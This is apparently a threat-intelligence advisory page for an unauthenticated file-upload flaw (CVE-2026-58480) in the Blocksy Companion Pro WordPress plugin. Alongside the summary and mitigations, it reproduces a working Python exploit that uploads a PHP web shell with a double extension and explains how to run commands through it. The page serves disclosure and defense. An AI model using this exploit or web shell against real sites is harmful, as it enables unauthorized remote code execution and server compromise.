CVE-2026-58480: Unrestricted Upload of File with Dangerous Type in Creative Themes Blocksy Companion
Blocksy Companion Pro plugin for WordPress versions before 2.1.47 contains an unauthenticated arbitrary file upload vulnerability. This flaw allows attackers to bypass extension validation by exploiting a substring check in the Custom Fonts extension, enabling upload of files with double extensions like shell.woff2.php. The web server may execute these uploaded files as PHP, leading to remote code execution. The vulnerability is critical with a CVSS 4.0 score of 9.2. No official patch or remediation guidance is currently confirmed.
AI Analysis
Technical Summary
The Blocksy Companion Pro WordPress plugin prior to version 2.1.47 has an unauthenticated arbitrary file upload vulnerability in the save_attachments function exposed via the Advanced Reviews feature. The vulnerability arises from improper extension validation in the Custom Fonts extension, which uses a flawed strpos() substring check. Attackers can upload files with double extensions (e.g., shell.woff2.php) that pass validation but are executed by the web server as PHP scripts, enabling remote code execution without authentication.
Potential Impact
Successful exploitation allows unauthenticated attackers to upload and execute arbitrary PHP code on the affected server, resulting in full remote code execution. This can lead to complete compromise of the WordPress site and underlying server environment.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict file upload permissions and consider disabling the Advanced Reviews feature or the Custom Fonts extension to reduce exposure.
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Blocksy Companion 2.1.46 - RCE # CVE: CVE-2026-58480 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://creativethemes.com # Software Link: https://wordpress.org/plugins/blocksy-companion/ # Affected: Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts) # Tested on: WordPress + Blocksy Companion 2.1.46 # Category: WebApps # Platform: PHP # Exploit Type: Remote Code Execution (Unauthenticated) # CVSS: 9.8 (Critical) # Description: Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments. # Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension. # Fixed in: 2.1.47 # Usage: # python3 exploit.py <target_url> # # Examples: # python3 exploit.py http://target.com # # Notes: # • Requires Advanced Reviews and Custom Fonts extensions enabled. # • Uploaded shell lands in wp-content/uploads/ (check response for exact path). # # How to Use # # Step 1: # Run the script with target URL. # # Step 2: # Use the generated shell URL with ?cmd=command (e.g. ?cmd=id) import requests import sys def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) if len(sys.argv) < 2: banner() print("Usage: python3 exploit.py <http://target.com>") sys.exit(1) banner() target = sys.argv[1].rstrip('/') shell_name = "poc.woff2.php" payload = """<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; } echo 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security'; ?> """ files = { 'blc-review-images[]': (shell_name, payload, 'application/octet-stream') } data = { 'action': 'blc_save_review_attachments' } print("[+] Sending unauthenticated file upload...") try: r = requests.post(f"{target}/wp-admin/admin-ajax.php", files=files, data=data, timeout=15) print(f"Status: {r.status_code}") print(r.text[:600]) print("\n[+] If successful, check wp-content/uploads/ for the shell.") print(f"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id") except Exception as e: print(f"[-] Error: {e}")
CVE-2026-58480: Unrestricted Upload of File with Dangerous Type in Creative Themes Blocksy Companion
Description
Blocksy Companion Pro plugin for WordPress versions before 2.1.47 contains an unauthenticated arbitrary file upload vulnerability. This flaw allows attackers to bypass extension validation by exploiting a substring check in the Custom Fonts extension, enabling upload of files with double extensions like shell.woff2.php. The web server may execute these uploaded files as PHP, leading to remote code execution. The vulnerability is critical with a CVSS 4.0 score of 9.2. No official patch or remediation guidance is currently confirmed.
CVSS v4.0
Score 9.2critical
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Blocksy Companion Pro WordPress plugin prior to version 2.1.47 has an unauthenticated arbitrary file upload vulnerability in the save_attachments function exposed via the Advanced Reviews feature. The vulnerability arises from improper extension validation in the Custom Fonts extension, which uses a flawed strpos() substring check. Attackers can upload files with double extensions (e.g., shell.woff2.php) that pass validation but are executed by the web server as PHP scripts, enabling remote code execution without authentication.
Potential Impact
Successful exploitation allows unauthenticated attackers to upload and execute arbitrary PHP code on the affected server, resulting in full remote code execution. This can lead to complete compromise of the WordPress site and underlying server environment.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict file upload permissions and consider disabling the Advanced Reviews feature or the Custom Fonts extension to reduce exposure.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- VulnCheck
- Date Reserved
- 2026-06-30T20:20:33.791Z
- Cvss Version
- 4.0
- State
- PUBLISHED
- Remediation Level
- null
Indicators of Compromise
Exploit Source Code
Exploit code for Blocksy Companion 2.1.46 - RCE
#!/usr/bin/env python3 # Exploit Title: Blocksy Companion 2.1.46 - RCE # CVE: CVE-2026-58480 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://creativethemes.com # Software Link: https://wordpress.org/plugins/blocksy-... (2428 more characters)
Threat ID: 6a4e50c9c9d9e3dbe32f6da1
Added to database: 07/08/2026, 13:29:45 UTC
Last enriched: 08/11/2026, 21:08:27 UTC
Last updated: 08/22/2026, 10:52:10 UTC
Views: 120
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.